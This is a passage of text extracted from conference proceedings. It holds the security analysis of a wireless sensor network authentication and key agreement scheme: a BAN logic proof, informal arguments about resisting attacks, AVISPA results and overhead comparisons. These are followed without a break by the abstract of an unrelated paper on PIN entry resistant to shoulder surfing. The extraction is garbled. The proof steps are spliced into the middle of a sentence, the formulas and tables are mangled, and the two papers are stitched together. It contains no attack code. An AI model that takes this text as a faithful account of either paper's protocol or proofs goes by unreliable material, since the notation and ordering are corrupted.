P |≡ X: The principal P believes the announcement X.
P � X: P considers X, which means that a message containing X is received by P where X can be read by P .
P |∼ X: P sometime stated X, which means that P |≡ X as P once stated it in sometime.
P |⇒ X: P commands X, P has complete authority on X, and P considers X as trusted (Jurisdiction over X).
�(X): The message X is fresh, which means that no any entity sent a message containing X at whenever.

ahead of current round.

P |≡ Q
SK←→ P : P and Q use SK (shared key) to communicate with each other.

P
SK←→ Q : P and Q use SK as a shared secret between them.

< X >Y : The formula X is combined with the formula Y .
(X): The formula X is hashed value.
(X, Y ): The formulas X and Y are combined and then hashed.
(X, Y )k: The formulas X and Y are combined and then hashed with the key k.

In order to describe logical postulates of BAN logic in formal terms [13], we
present the following rules:

Rule (1). Message meaning rule: For shared secret keys: P |≡Q
k←→P,P�{X}k

P |≡Q∼X
.

P is said to believe Q, if P believes that k is shared with Q and P sees X is encrypted under k.

Rule (2). Nonce verification rule: P |≡�(X),P |≡Q|∼X
P |≡Q|≡X

.

If P believes that X is expressed recently (freshness) and P believes that Q once said X, P believes that Q believes X.

Rule (3). Jurisdiction rule: P |≡Q|≡X,P |≡Q|⇒X
P |≡X

.

If P believes that Q has jurisdiction over X, and P believes that Q believes a message X, P also believes X.

Rule (4). Freshness rule: P |≡�(X)
P |≡�(X,Y )

.

If one part is known to be fresh, the entire formula must be fresh.

Rule (5). Belief rule: P |≡Q|≡(X,Y )
P |≡Q|≡(X)

.

If P believes Q believes the message set (X, Y ), P also believes Q believes the message X.

Prior to the formal analysis, we first idealize the communicated messages of our
proposed protocol to alleviate the analysis between Ui and Sj , which are as
follows:
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Message 1: Ui

Sj←→ GWN : 〈IDi, T1, (Ui
IDi←→ GWN)〉h(XGWN )

Message 2: Ui

Sj←→ GWN : (Ki, M1, M2, T1, (Ui
IDi←→ GWN), (Ui

Ki←→ GWN))di

Message 3: Sj → GWN : (SIDj , T2, (Sj

SIDj←→ GWN))h(XGWN‖SIDj)

Message 4: Sj → GWN : (SIDj , Kj , M4, T1, T2, (Sj

SIDj←→ GWN), (Sj

Kj←→ GWN))xj

Message 5: GWN → Sj : (M7, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN))x′
j=xj

Message 6: Ui → Sj : 〈K′
i = Ki, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN), (Ui
SK←→ Sj)〉x′

j=xj

Message 7: GWN → Ui : 〈K′
j = Kj , M6, T3, (Ui

IDi←→ GWN), (Ui

K′
j=Kj←→ GWN)〉di

Message 8: Sj → Ui : (M6, M7, T3, T4, (Ui
IDi←→ GWN), (Ui

di←→ GWN), (Ui

K′
j=Kj←→ GWN), (Ui

SK←→ Sj))SK

According to the analytic procedures of the BAN logic, our proposed protocol
should satisfy the following goals:

Goal 1. Ui|≡ (Ui
SK←→ Sj); Goal 2. Ui|≡ Sj |≡ (Ui

SK←→ Sj);

Goal 3. Sj |≡ (Ui
SK←→ Sj); Goal 4. Sj |≡ Ui|≡ (Ui

SK←→ Sj).

Based on our proposed protocol, we make some initial state assumptions, which
are listed as follows:

A1: GWN |≡ �(T1); A2: GWN |≡ �(T2);
A3: Sj |≡ �(T3); A4: Ui|≡ �(T4);
A5: GWN |≡ �(Ki); A6: GWN |≡ �(Kj);
A7: Sj |≡ �(K′

i = Ki); A8: Ui|≡ �(K′
j = Kj);

A9: Ui|≡ (Ui
di=h(MIi‖XGWN )←→ GWN); A10: GWN |≡ (Ui

di=h(MIi‖XGWN )←→ GWN);

A11: Sj |≡ (Sj

xj=h(XGWN−Sj
‖XGWN )

←→ GWN); A12: GWN |≡ (Sj

xj=h(XGWN−Sj
‖XGWN )

←→ GWN);

A13: GWN |≡ (Ui
h(XGWN )←→ GWN); A14: GWN |≡ (Sj

h(XGWN )←→ GWN);

A15: GWN |≡ Ui|≡ (Ui
Ki←→ GWN); A16: GWN |≡ Ui|≡ (Ui

IDi←→ GWN);

A17: GWN |≡ Sj |≡ (Sj

SIDj←→ GWN); A18: GWN |≡ Sj |≡ (Ui
Ki←→ GWN);

A19: Sj |≡ GWN |≡ (Sj
K′

i=Ki←→ GWN); A20: Ui|≡ GWN |≡ (Ui

K′
j=kj←→ GWN);

A21: Sj |≡ Ui|≡ (Ui
K′

i=Ki←→ Sj); A22: Ui|≡ Sj |≡ (Ui

K′
j=Kj←→ Sj).

Further, we demonstrate our proposed protocol based on the rules of the BAN
logic and the efficiency by showing Ui and Sj share a common session key SK
to ensure the secure communication by achieving the intended goals using the
initial assumptions. The inside information descriptions are as follows:

According to Steps 48, 47, 36, and 35, it is clear that our protocol successfully
achieves all the goals (Goals 1–4). Both Ui and Sj believe that they share a secure
session key SK = h((Ki⊕Kj)‖T3‖T4) with each other. Hence, the proof follows.

5.2 Further Security Discussion

In this section, we show that our proposed protocol can meet various kinds of
functional features and withstand various kind of possible known attacks.

User Anonymity. As discussed in Sect. 5.2, it is clear from our proposed
scheme that for an attacker it is a computationally hard problem to obtain
or guess the identity IDi of the user Ui from the transmitted messages as it is
protected using the one way hash function. Hence, our scheme provides the user
anonymity property.



56 S. Jangirala et al.

Replay Attack. Suppose an attacker traps the previously transmitted messages
of the proposed scheme, and later on transmits the same messages without alter-
ing to the desired entities. As our proposed scheme uses the system timestamp
and checks transmission delay time, it always rejects the attacker’s replayed mes-

According to the message 1, we obtain:

Step 1: GWN � 〈IDi, T1, (Ui
IDi←→ GWN)〉h(XGWN ).

From Step 1 and assumption A13, we apply the message meaning rule to get:

Step 2: GWN |≡ Ui|∼ 〈IDi, T1, (Ui
IDi←→ GWN)〉.

From assumption A1, we apply the freshness conjuncatenation rule to get:

Step 3: GWN |≡ �〈IDi, T1, (Ui
IDi←→ GWN)〉.

From Steps 2 and 3, we apply the nonce-verification rule to obtain:

Step 4: GWN |≡ 〈IDi, T1, (Ui
IDi←→ GWN)〉.

From Step 4, we apply the belief rule to obtain:

Step 5: GWN |≡ Ui|≡ (Ui
IDi←→ GWN).

From Step 5 and assumption A6, we apply the jurisdiction rule to get:

Step 6: GWN |≡ (Ui
IDi←→ GWN).

According to the message 2, we obtain:

Step 7: GWN � (Ki, M1, M2, T1, (Ui
IDi←→ GWN), (Ui

Ki←→ GWN))di .
From Step 7 and assumption A10, we apply the message meaning rule to get:

Step 8: GWN |≡ Ui|∼ (Ki, M1, M2, T1, (Ui
IDi←→ GWN), (Ui

Ki←→ GWN)).
From assumptions A1 and A5, we apply the freshness conjuncatenation rule to get:

Step 9: GWN |≡ �(Ki, M1, M2, T1, (Ui
IDi←→ GWN), (Ui

Ki←→ GWN)).
From Steps 8 and 9, we apply the nonce-verification rule to obtain:

Step 10: GWN |≡ Ui|≡ (Ki, M1, M2, T1, (Ui
IDi←→ GWN), (Ui

Ki←→ GWN)).
From Steps 5, 6 and 10, we apply the belief rule to obtain:

Step 11: GWN |≡ Ui|≡ (Ui
Ki←→ GWN).

From Step 11 and assumption A15, we apply the jurisdiction rule to get:

Step 12: GWN |≡ (Ui
Ki←→ GWN).

According to the message 3, we obtain:

Step 13: GWN � 〈SIDi, T2, (Sj

SIDj←→ GWN)〉h(XGWN‖SIDj).

From Step 13 and assumption A14, we apply the message meaning rule to get:

Step 14: GWN |≡ Sj |∼ 〈SIDj , T2, (Sj

SIDj←→ GWN)〉.
From assumption A2, we apply the freshness conjuncatenation rule to get:

Step 15: GWN |≡ �〈SIDj , T2, (Sj

SIDj←→ GWN)〉.
From Steps 14 and 15, we apply the nonce-verification rule to obtain:

Step 16: GWN |≡ Sj |≡ 〈SIDj , T2, (Sj

SIDj←→ GWN)〉.
From Step 16, we apply the belief rule to obtain:

Step 17: GWN |≡ Sj |≡ (Sj

SIDj←→ GWN).
From Step 17 and the assumption A17, we apply the jurisdiction rule to get:

Step 18: GWN |≡ (Sj

SIDj←→ GWN).
According to the message 4, we obtain:

Step 19: GWN � (SIDj , Kj , M4, T1, T2, (Sj

SIDj←→ GWN), (Sj

Kj←→ GWN))xj .
From Step 19 and assumption A12, we apply the message meaning rule to get:

Step 20: GWN |≡ Sj |∼ (SIDj , Kj , M4, T1, T2, (Sj

SIDj←→ GWN), (Sj

Kj←→ GWN)).
From assumptions A2 and A6, we apply the freshness conjuncatenation rule to get:

Step 21: GWN |≡ �(SIDj , Kj , M4, T1, T2, (Sj

SIDj←→ GWN), (Sj

Kj←→ GWN)).
From Steps 20 and 21, we apply the nonce-verification rule to obtain:

Step 22: GWN |≡ Sj |≡ (SIDj , Kj , M4, T2, T1, (Sj

SIDj←→ GWN), (Sj

Kj←→ GWN)).



Secure Lightweight User Authentication and Key Agreement Scheme 57

From Steps 17, 18 and 22, we apply the belief rule to obtain:

Step 23: GWN |≡ Sj |≡ (Sj

Kj←→ GWN).
From Step 23 and assumption A18, we apply the jurisdiction rule to get:

Step 24: GWN |≡ (Sj

Kj←→ GWN).
According to the message 5, we obtain:

Step 25: Sj � (M7, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN))x′
j=xj

.

From Step 25 and assumption A11, we apply the message meaning rule to get:

Step 26: Sj |≡ GWN |∼ (M7, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN)).
From assumptions A3 and A7, we apply the freshness conjuncatenation rule to get:

Step 27: Sj |≡ �(M7, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN)).
From Steps 26 and 27, we apply the nonce-verification rule to obtain:

Step 28: Sj |≡ GWN |≡ (M7, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN)).
From Steps 17, 18 and 28, we apply the belief rule to obtain:

Step 29: Sj |≡ GWN |≡ (Sj
K′

i=Ki←→ GWN).
From Step 29 and assumption A19, we apply the jurisdiction rule to get:

Step 30: Sj |≡ (Sj
K′

i=Ki←→ GWN).
According to the message 6, we obtain:

Step 31: Sj � 〈K′
i = Ki, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN), (Ui
SK←→ Sj)〉x′

j=xj
.

From Step 31 and assumption A11, we apply the message meaning rule to get:

Step 32: Sj |≡ Ui|∼ 〈K′
i = Ki, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN), (Ui
SK←→ Sj)〉.

From assumptions A3 and A7, we apply the freshness conjuncatenation rule to get:

Step 33: Sj |≡ �〈K′
i = Ki, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN), (Ui
SK←→ Sj)〉.

From Steps 26 and 27, we apply the nonce-verification rule to obtain:

Step 34: Sj |≡ Ui|≡ 〈K′
i = Ki, T3, (Sj

SIDj←→ GWN), (Sj
K′

i=Ki←→ GWN), (Ui
SK←→ Sj)〉.

From Steps 17, 18, 22, 29 and 34, we apply the belief rule to obtain:

Step 35: Sj |≡ Ui|≡ (Ui
SK←→ Sj). (Goal 4)

From Step 30 and assumption A21 and Goal 4, we apply the jurisdiction rule to get:

Step 36: Sj |≡ (Ui
SK←→ Sj). (Goal 3)

According to the message 7, we obtain:

Step 37: Ui � 〈K′
j = Kj , M6, T3, (Ui

IDi←→ GWN), (Ui

K′
j=Kj←→ GWN)〉di .

From Step 37 and assumption A9, we apply the message meaning rule to get:

Step 38: Ui|≡ GWN |∼ 〈K′
j = Kj , T3, M6, (Ui

IDi←→ GWN), (Ui

K′
j=Kj←→ GWN)〉.

From assumption A8, we apply the freshness conjuncatenation rule to get:

Step 39: Ui|≡ �〈K′
j = Kj , T3, M6, (Ui

IDi←→ GWN), (Ui

K′
j=Kj←→ GWN)〉.

From Steps 38 and 39, we apply the nonce-verification rule to obtain:

Step 40: Ui|≡ GWN |≡ 〈K′
j = Kj , T3, M6, (Ui

IDi←→ GWN), (Ui

K′
j=Kj←→ GWN)〉.

From Steps 5, 6 and 40, we apply the belief rule to obtain:

Step 41: Ui|≡ GWN |≡ (Ui

K′
j=Kj←→ GWN).

From Step 41 and assumption A20, we apply the jurisdiction rule to get:

Step 42: Ui|≡ (Ui

K′
j=Kj←→ GWN).

According to the message 8, we obtain:

Step 43: Ui � (M8, M6, T3, T4, (Ui
IDi←→ GWN), (Ui

di←→ GWN), (Ui

K′
j=Kj←→ GWN), (Ui

SK←→ Sj))SK .
From Step 43 and assumption A9, we apply the message meaning rule to get:

Step 44: Ui|≡ Sj |∼ (M8, M6, T3, T4, (Ui
IDi←→ GWN), (Ui

di←→ GWN), (Ui

K′
j=Kj←→ GWN), (Ui

SK←→ Sj)).
From assumptions A4 and A8, we apply the freshness conjuncatenation rule to get:

Step 45: Ui|≡ �(M8, M6, T3, T4, (Ui
IDi←→ GWN), (Ui

di←→ GWN), (Ui

K′
j=Kj←→ GWN), (Ui

SK←→ Sj)).
From Steps 44 and 45, we apply the nonce-verification rule to obtain:

Step 46: Ui|≡ Sj |≡ (M8, M6, T3, T4, (Ui
IDi←→ GWN), (Ui

di←→ GWN), (Ui

K′
j=Kj←→ GWN), (Ui

SK←→ Sj)).
From Steps 5, 6, 41 and 46, we apply the belief rule to obtain:

Step 47: Ui|≡ Sj |≡ (Ui
SK←→ Sj). (Goal 2)

From Step 47 and assumption A22 and Goal 2, we apply the jurisdiction rule to get:

Step 48: Ui|≡ (Ui
SK←→ Sj). (Goal 1)

sages due to the invalid transmission delay time. Therefore, our proposed scheme
resists the replay attack.

Privileged-Insider Attack. In practice, most of the users use identical pass-
words for login to the various remote servers. In our scheme, during the
user registration phase a legal user Ui sends the registration request mes-
sage {MIi,MPi} to GWN via a secure channel, where MIi = h(IDi‖ri) and
MPi = h(IDi⊕ri⊕PWi). Suppose an insider of GWN being an attacker knows
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both MIi and MPi. Note that in the proposed scheme, the identity IDi and
password PWi of Ui are protected with one-way cryptographic hash function.
Further assume that the insider attack later has the stolen/lost smartcard SC of
Ui. However, the secret information ri is not directly stored in SC. To compute
ri from the extracted gi = ri ⊕ h(IDi‖PWi), the insider attacker has to know
both IDi and PWi. Therefore, the insider attacker cannot extract PWi and IDi

due to the non-invertible property of the cryptographic one-way hash function.
Thus, the proposed scheme resists the insider attack.

User Impersonation Attack. An attacker can trap the login message
{M1,M2,M3, T1} and the transmitted messages over the open channel during
the login and authentication phases of our scheme. After that the attacker tries
to generate another valid message which will be sent to the sensor node for
the authentication and thereby transmitted to GWN for authentication. For
doing that the attacker has to compute valid 〈Ki, di〉 parameters. However, the
attacker cannot compute M3 as the attacker does not have the knowledge of the
identity IDi and password PWi. Moreover, it is infeasible to guess the trapped
message within polynomial time by the attacker due to unknown parameters Ki

and di. It may be noted that the attacker cannot guess the secret key of GWN
within polynomial time as the secret keys of the sensor nodes and GWN are 1024
bits in length. Therefore, the attacker cannot generate any valid message within
polynomial time. Hence, our scheme resists the user impersonation attack.

Sensor Node Impersonation Attack. An attacker can intercept the trans-
mitted message {M1,M2,M3, T1, T2, NSIDj ,M4,M5} during the login and
authentication phases of our scheme, and try to generate another valid message
which will be authenticated by GWN . However, the attacker cannot compute
the valid intercepted message without the knowledge of the parameters Kj and
xj . The attacker may also intercept the message {M6,M7,M8, T3, T4}. But again
as the attacker does not have the knowledge about SK, Ki, Kj , and xj , he/she
is not able to generate a valid intercepted message. Hence, the attacker cannot
impersonate a sensor node inside WSNs.

Stolen-Smart Card, Off-Line Identity and Password guessing Attacks.
Assume that a legal user U ′

is smart card is stolen by an attacker. The attacker
can extract the information {ei, fi, gi, xi} stored in the smart card of Ui by
using the power analysis attack [14], where xi = h(MPi‖MIi), ei = h(XGWN )⊕
h(MPi‖di), fi = di ⊕h(MPi‖ei) and gi = ri ⊕h(IDi‖PWi). Both IDi and PWi

are unknown to the attacker and these are well protected by the one way hash
function. So, it is a difficult problem for the attacker to guess the correct identity
IDi and password PWi at the same time as it is computationally infeasible to
guess the two parameters at a time. Hence, the attacker in nowhere to update
the password PWi of the user Ui. Therefore, the proposed scheme is free from
the stolen smart card attack. Furthermore, our scheme also resists the off-line
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identity guessing and password guessing attack using the fact that guessing the
exact IDi and password PWi at the same time is computationally infeasible at
a time. Therefore, our scheme has the ability to resist the stolen-smart card,
off-line identity and password guessing attacks.

Mutual Authentication and Key Agreement. During execution of our
protocol, GWN authenticates a sensor node Sj and a user Ui based on the login
message. Ui authenticates Sj and GWN . Once Ui is successful in authenticating
Sj , both Sj and Ui agree upon on a session key SK. With the help of the session
key SK both the parties Sj and Ui will be communicate securely. The details
are given below.

– Ui initializes the execution process where he/she sends a login message
{M1,M2,M3, T1} to the opted sensor node Sj over the public channel. Now,
Sj has to delegate the authentication of Ui to GWN .

– When the authentication message {M1, M2, M3, T1, T2, NSIDj , M4, M5}
from Sj is received, GWN verifies the legitimacy of Sj and Ui.

– GWN computes its own version of NSID′
j = h(h(XGWN‖SIDj)‖T2) using

its master secret key XGWN , and x′
j = h(XGWN−Sj

‖XGWN ) using the master
secret key of GWN and secret key of Sj . GWN verifies the condition M ′

5 =
M5 by computing Kj . If this verification does not hold, GWN rejects the
authentication message from Sj . Otherwise, it proceeds to check the legitimacy
of Ui by verifying the condition M3 = M3 using the precomputed values
MI ′

i, d
′
i, and K ′

i. In this way, GWN verifies the legitimacy of the user Ui and
the sensor node Sj .

– GWN sends the response message {M6, M7, T3} to Sj over an insecure
channel. Sj computes K ′

i = M7 ⊕ h(h(XGWN‖SIDj)‖xj‖Kj‖T3) and M8 =
h(M6‖M7‖SK‖T3‖T4) using a shared secret session key SK = h(h(K ′

i ⊕
Kj)‖T3‖T4), and submits the response message {M6,M7,M8, T3, T4} to Ui

via the public channel.
– On receiving the response message from Sj , Ui further computes K ′

j =
M6 ⊕ h(di‖T3‖Ki) and SK = h(h(K ′

i ⊕ Kj)‖T3‖T4), and finally verifies the
legitimacy of Sj by the condition M8 = h(M6‖M7‖SK‖T3‖T4). If this verifi-
cation holds, Ui uses the shared session key SK for the future communications
with Sj . Otherwise, Ui rejects the communication messages.

Therefore, it is clear that an attacker cannot tamper with any of the communicat-
ing messages. Hence, our proposed scheme provides secure mutual authentication
and key agreement.

Session Key Security. To provide the confidentiality of the subsequent mes-
sages after mutual authentication Sect. 5.2, Ui and Sj agree upon the session key
SK = h(h(Ki ⊕ Kj)‖T3‖T4). The session key is quite robust because it includes
the values of Ki,Kj , T3, T4 where, Ki = M7 ⊕ h(h(XGWN‖SIDj)‖xj‖Kj‖T3)
and Kj = M6 ⊕ h(di‖T3‖Ki). The attacker cannot obtain the session key as
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he/she fails to compute Ki and Kj values from the transmitted messages. In
addition, the time stamps {T3, T4} provide newness to the session key SK for
each session. As a result, no one except the legitimate users can compute the
session key. Therefore, our scheme provides secure session key.

Sensor Node Spoofing Attack. In order to masquerade as a legitimate sensor
Sj and to cheat a user Ui, an attacker needs to compute the response message
{M6,M7,M8, T3, T4}, where M7 = Ki ⊕ h(h(XGWN‖SIDj)‖xj‖Kj‖T3), M8 =
h(M6‖M7‖SK‖T3‖T4). If the attacker needs to be successful in overcoming the
hurdle, he/she should be successful in computing the session key, which is not
possible as the secret information in computing the session key SK requires
both Ki and Kj . The attacker thus fails in spoofing the sensor node Sj as it
is computationally infeasible to extract the secret credentials from the hashed
values. Therefore, our scheme resists the sensor node spoofing attack.

6 Simulation for Formal Security Verification Using
AVISPA Tool

In this section, we simulate our scheme for the formal security verification using
the widely-accepted AVISPA (Automated Validation of Internet Security Pro-
tocols and Applications) tool.

AVISPA (Automated Validation of Internet Security Protocols and Appli-
cations) is a powerful modular and expressive formal language for specifying
protocols and their security properties, which integrates different back-ends
that implement a variety of state-of-the-art automatic analysis techniques [15].
AVISPA is a push-button tool for the automated validation of Internet security-
sensitive protocols and applications. In recent years, it becomes a widely-
accepted and popular tool for the formal security verification [15]. The four
back-ends supported in AVISPA are the On-the-fly Model-Checker (OFMC),
Constraint Logic based Attack Searcher (CL-AtSe), SAT-based Model-Checker
(SATMC) and Tree Automata based on Automatic Approximations for the
Analysis of Security Protocols (TA4SP). The detailed descriptions of these back-
ends can be found in [15].

6.1 Specifying the Protocol

In this section, we provide the descriptions of the specifications of various roles
in HLPSL for our scheme. Three basic roles for a user Ui, GWN and an accessed
sensor node Sj are implemented in HLPSL. Apart from these roles, we need to
specify the roles for the session, goal and environment in HLPSL. We have imple-
mented our scheme for the formal security verification during the registration
phase including the user and sensor node registration phases, login phase, and
authentication and key agreement phase.
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6.2 Simulation Results

We have simulated our scheme under the OFMC and CL-AtSe backends using
the Security Protocol ANimator for AVISPA (SPAN) [15]. The following verifi-
cations are executed in our scheme:

– Executability check on non-trivial HLPSL specifications: Due to some model-
ing mistakes, it may be possible that the protocol model can not execute to
completion. As a result, it may be possible that the AVISPA backends can
not find an attack, if the protocol model can not reach to a state where that
attack can happen. An executability test is thus extremely essential [16]. Our
implementation shows that the protocol description is well matched with the
designed goals as specified in Figs. 1a and b for the executability test.

– Replay attack check: For the replay attack checking, the OFMC and CL-AtSe
back-ends verify whether the legitimate agents can execute the specified pro-
tocol by performing a search of a passive intruder. These back-ends provide
the intruder the knowledge of some normal sessions between the legitimate
agents. The test results shows in Figs. 1a and b indicate our scheme is secure
against the replay attack.

– Dolev-Yao model check: Finally, for the Dolev-Yao model checking, the OFMC
and CL-AtSe back-ends verify if there is any man-in-the-middle attack possible
by an intruder (i). Under OFMC, 8, 677 nodes are visited and the depth is
six, where the search time is 47.73 seconds. Under CL-AtSe, 10, 705 states are
analyzed and out of these 10, 705 states are also reached, and the translation
and computation times are 0.09 seconds and 18.05 seconds, respectively. The
results reported in Figs. 1a and b clearly show that our scheme fulfills the
design properties and is secure.

% OFMC
% Version of 2006/02/13
SUMMARY
  SAFE
DETAILS
  BOUNDED_NUMBER_OF_SESSIONS
PROTOCOL
  C:\progra~1\SPAN\testsuite
  \results\auth_wsn.if
GOAL
  as_specified
BACKEND
  OFMC
COMMENTS
STATISTICS
  parseTime: 0.00s
  searchTime: 47.73s
  visitedNodes: 8677 nodes
  depth: 6 plies

(a) The result of the analysis us-
ing OFMC backend

SUMMARY
  SAFE
DETAILS
  BOUNDED_NUMBER_OF_SESSIONS
  TYPED_MODEL
PROTOCOL
  C:\progra~1\SPAN\testsuite
    \results\auth_wsn.if
GOAL
  As Specified
BACKEND
  CL−AtSe
STATISTICS
  Analysed   : 10705 states
  Reachable  : 10705 states
  Translation: 0.09 seconds
  Computation: 18.05 seconds

(b) The result of the analysis using
CL-AtSe backend

Fig. 1. Simulation result for our proposed scheme.
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7 Performance Comparison with Related Schemes

In this section, we compare the performance and functionality features of our
proposed scheme with the related existing schemes proposed for the WSNs. This
evaluation gives an insight into the effectiveness of the proposed scheme.

7.1 Security Features Comparison

In Table a of Fig. 2, we have compared the security features provided and pro-
tected by our scheme and existing related schemes, such as Vaidya et al.’s scheme
[10], Chen-Shin’s scheme [17], Yeh et al.’s scheme [18], Turkanovic-Holbi’s scheme
[19], Das et al.’s scheme [11], Xue et al.’s scheme [20], Turkanovic et al.’s scheme
[2] and Farash et al.’s scheme [3]. It is noted our scheme protects various known
attacks and also supports various good features as compared to those for other
related existing schemes.

7.2 Communication Overhead Comparison

In Table b of Fig. 2, we have compared the communication overheads required
during the login and authentication phases between our scheme and other

Security attributes [13] [14] [27] [17] [15] [4] [2] [3] Ours
Passwordguessingattack

√ × √ √ × × × × √
Privileged − insiderattack

√ × √ √ × × √ √ √
Useranonymity

√ √ × × × × × √ √
Stolensmartcardattack × × × × × × × × √
Impersonationattack

√ × √ √ × × × × √
Replayattack × √ × × × √ √ × √
Propermutualauthentication

√ × √ √ × × × × √
Two − factorsecurity

√ × × × × × × × √
Sessionkeyagreement × × √ √ √ √ √ √ √
Sensornodecaptureattack

√ × √ √ √ √ √ √ √
Efficientpasswordchange

√ × × √ √ √ √ √ √

(a) Security Features

Scheme Total number Total number
of messages of bytes

Vaidya [13] 5 197
Chen-Shin [14] 4 235
Yeh et al. [27] 4 252
Turkanovic-Holbi [17] 3 220
Das et al. [15] 4 272
Xue et al. [4] 4 413
Turkanovic et al. [2] 4 489
Farash et al. [3] 4 434
Our scheme 4 394

(b) Communication Overhead

(c) Computation Overhead

Scheme Gateway node/ Sensor node User
Cluster head

Vaidya [13] 5Th + 2TXOR 2Th + 3TXOR 6Th + 1TXOR

Chen-Shin [14] 5Th + 1TXOR 2Th 4Th + 1TXOR

Yeh et al. [27] 4Th + 4TECC 3Th + 2TECC 1Th + 2TECC

Das et al. [15] 5Th + 4TE/D − 5Th + 1TE/D

Turkanovic-Holbi [17] 3Th + 4TE/D − 4Th + 1TE/D

Xue et al. [4] 13Th + 6TXOR 6Th + 3TXOR 10Th + 6TXOR

Turkanovic et al. [2] 7Th + 5TXOR 5Th + 6TXOR 7Th + 6TXOR

Farash et al. [3] 14Th + 6TXOR 7Th + 4TXOR 11Th + 7TXOR

Our scheme 12Th + 5TXOR 6Th + 3TXOR 13Th + 9TXOR

Fig. 2. Performance Comparison analysis for our proposed scheme.
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schemes. We assume that the output of the one-way hash function h(·) is 160 bits
(20 bytes), if we use SHA-1 hashing algorithm [21]. Further, we assume that each
timestamp, random nonce/random number, identity of user/sensor node is 152
bits in length (19 bytes). In addition, for Yeh et al.’s scheme [18] and Turkanovic-
Holbi’s scheme [19], we assume that the acknowledgment message requires 160
bits (20 bytes). In our scheme, during the login phase, the login request message
{M1,M2,M3, T1} requires 79 bytes. During the authentication and key agree-
ment phase, the messages {M1,M2,M3, T1, T2, NSIDj ,M4,M5}, {M6,M7, T3}
and {M6,M7,M8, T3, T4} require 158 bytes, 59 bytes and 98 bytes, respectively.
As a result, during the login and authentication phases in our scheme, the total
communication overhead becomes (79+158+59+98) = 394 bytes. On the other
hand, the communication overheads required during the login and authentica-
tion phases for Vaidya et al.’s scheme [10], Chen-Shin’s scheme [17], Yeh et al.’s
scheme [18], Turkanovic-Holbi’s scheme [19], Das et al.’s scheme [11], Xue et al.’s
scheme [20], Turkanovic et al.’s scheme [2] and Farash et al.’s scheme [3] are 197
bytes, 235 bytes, 252 bytes, 220 bytes, 272 bytes, 413 bytes, 489 bytes and
434 bytes, respectively. Note that our scheme performs better than Xue et al.’s
scheme [20], Turkanovic et al.’s scheme [2] and Farash et al.’s scheme [3]. How-
ever, our scheme requires more communication overhead as compared to that for
other schemes, such as Vaidya et al.’s scheme [10], Chen-Shin’s scheme [17], Yeh
et al.’s scheme [18], Turkanovic-Holbi’s scheme [19] and Das et al.’s scheme [11].
It is justified because our scheme offers better security and functionality features
as compared to those for other schemes as shown in Table a of Fig. 2.

7.3 Computational Overhead Comparison

Finally, in Table c of Fig. 2, we have compared the computational overhead
between our scheme and other schemes during the login and authentication
phases. In our scheme, during the login phase the computational overhead for
a user Ui is 9Th + 7TXOR, whereas during the authentication phase the com-
putational overheads for GWN , a sensor node Sj and Ui are 12Th + 5TXOR,
6Th + 3TXOR and 4Th + 2TXOR, respectively. Due to the computational effi-
ciency of one-way hash function and bitwise XOR operation as compared to
ECC point multiplication, our scheme is very efficient. Note that the computa-
tional overhead for a sensor node in our scheme is 6Th+3TXOR. This means that
our scheme is also very suitable for the extremely resource-constrained sensor
nodes in WSNs.

8 Conclusion

This paper primarily reviews the recently proposed Farash et al.’s user AKA
protocol for WSNs and points out security pitfalls, such as off-line password
guessing attack, offline identity guessing attack, stolen smart card attack and
user impersonation attack. To overcome these security weaknesses, we have
designed a secure and lightweight user authentication and key agreement scheme
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for WSNs. The mutual authentication in the proposed scheme is verified using
BAN logic. The simulation for the formal security verification of the proposed
scheme is also carried out using AVISPA tool. To strengthen the security of
the proposed scheme, we have further presented the informal security analysis
to show the resilience to known attacks. The proposed scheme is not only effi-
cient in terms of the functionality features, but it also achieves efficient login
phase, user friendly password change phase, proper mutual authentication and
key agreement. In addition, dynamic node addition phase is executed more effi-
ciently. Higher security along with low communication and computational over-
heads, and extra functionality features provided by our scheme make it very
much applies to practical implementation in the WSNs environment.
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Abstract. Classical PIN based authentication schemes are susceptible
to shoulder surfing attacks and hence attacker may obtain secret cre-
dentials of legitimate user very easily. Some of the existing schemes that
provide resistance against shoulder surfing attacks either require multi-
ple rounds for entering single digit or some have dependency on exter-
nal hardware or some of the schemes require complex computation to
be done mentally in order to enter the PIN. Another possible security
threat could be stealing the credentials if password file is compromised.
In this paper, we propose a new PIN entry mechanism known as SPOSS
which provides resilience against not only human-based shoulder surfing
but also against recording attack (for one session) in which attacker may
impose a recording device like camera to record the whole login session
for future reference. SPOSS also provides security against password file
compromise attack. Additionally, user authentication can be ensured by
single round only without doing any complex computation and without
any dependency of external hardware. Experimental analysis shows that
proposed scheme achieves a good balance between usability and security
parameters.

Keywords: Authentication · PIN · Shoulder surfing · Recording
attack · Honeyword

1 Introduction

Personal Identification Number (PIN) based authentication is used in vari-
ous applications involving financial transactions like Automatic Teller Machine
(ATM) and point of sales (POS) and in many other applications like mobile
devices and electronic door locks. Typically in the classical PIN entry mecha-
nism, user enters the PIN directly by pressing the corresponding digits on the
keypad. This makes traditional PIN entry mechanism vulnerable to shoulder
surfing attacks in which the attacker steals the PIN by simply looking over the
user’s shoulder or by recording the authentication session while user is entering
his PIN. The former category of shoulder surfing is known as Weak Shoulder
Surfing Attack [7,18] and latter is known as Strong Shoulder Surfing Attack
[2,24]. Weak shoulder surfing attack completely depends on attacker’s cognitive
c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 66–86, 2016.
DOI: 10.1007/978-3-319-49806-5 4
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capabilities to remember the PIN entered by the user. Sometimes this attack is
also referred as cognitive shoulder surfing attack or human-based shoulder surf-
ing attacks. Throughout this paper we will refer these attacks as Human-based
Shoulder Surfing Attacks. On the other hand, in strong shoulder surfing attacks,
the attacker uses external devices like miniature cameras or video mobile phones
to record the entire session and can subsequently login with the observed cre-
dentials. We will refer these attacks as recording-based shoulder surfing attacks,
or simply Recording Attacks.

Most appropriate approach to overcome shoulder surfing attacks is using
Challenge-Response based protocol where verifier presents a challenge to the
